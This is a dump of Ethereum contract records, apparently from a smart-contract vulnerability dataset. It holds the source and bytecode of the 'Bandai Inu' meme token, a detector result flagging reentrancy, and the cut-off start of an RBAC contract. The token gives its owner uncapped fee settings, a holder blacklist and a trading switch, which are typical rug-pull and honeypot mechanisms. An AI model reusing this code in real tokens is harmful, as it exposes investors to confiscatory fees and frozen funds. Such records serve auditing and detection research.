03198533610314868561084c565b610412565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610265918590610314908690610834565b6060600480546101d590610863565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fc565b6103fb3385610314868561084c565b5060019392505050565b6000610265338484610536565b6001600160a01b0383166104745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b0382166104d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661059a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fc565b6001600160a01b0382166105fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6001600160a01b038316600090815260208190526040902054818110156106745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fc565b61067e828261084c565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106b4908490610834565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070091815260200190565b60405180910390a350505050565b80356001600160a01b038116811461072557600080fd5b919050565b60006020828403121561073b578081fd5b6107448261070e565b9392505050565b6000806040838503121561075d578081fd5b6107668361070e565b91506107746020840161070e565b90509250929050565b600080600060608486031215610791578081fd5b61079a8461070e565b92506107a86020850161070e565b9150604084013590509250925092565b600080604083850312156107ca578182fd5b6107d38361070e565b946020939093013593505050565b6000602080835283518082850152825b8181101561080d578581018301518582016040015282016107f1565b8181111561081e5783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108475761084761089e565b500190565b60008282101561085e5761085e61089e565b500390565b600181811c9082168061087757607f821691505b6020821081141561089857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122005be84707d5858397bbbaa6ab7a8d13a61dd26f4170a0f55ff468bfba48966f964736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,084
0x5dd60b163f3787822910e499072e23130b1bc42a
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ /** ELON TWEET PLAY https://twitter.com/elonmusk/status/1510546313276014594 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract bandai is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bandai Inu"; string private constant _symbol = "BANDAI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3e2f924aD55C077172381DB655E54228f27bFd64); address payable private _marketingAddress = payable(0x3e2f924aD55C077172381DB655E54228f27bFd64); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a81526942616e64616920496e7560b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600681526542414e44414960d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122069739e2026707f8ca7b995b9668bd1f64456938b26619b0fedac0abcc6af875a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,085
0x065e32b53077d585babe1912d357614a256296bb
pragma solidity ^0.5.9; interface IRBAC { event RoleCreated(uint256 role); event BearerAdded(address indexed account, uint256 role); event BearerRemoved(address indexed account, uint256 role); function addRootRole(string calldata roleDescription) external returns(uint256); function removeBearer(address account, uint256 role) external; function addRole(string calldata roleDescription, uint256 admin) external returns(uint256); function totalRoles() external view returns(uint256); function hasRole(address account, uint256 role) external view returns(bool); function addBearer(address account, uint256 role) external; } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not 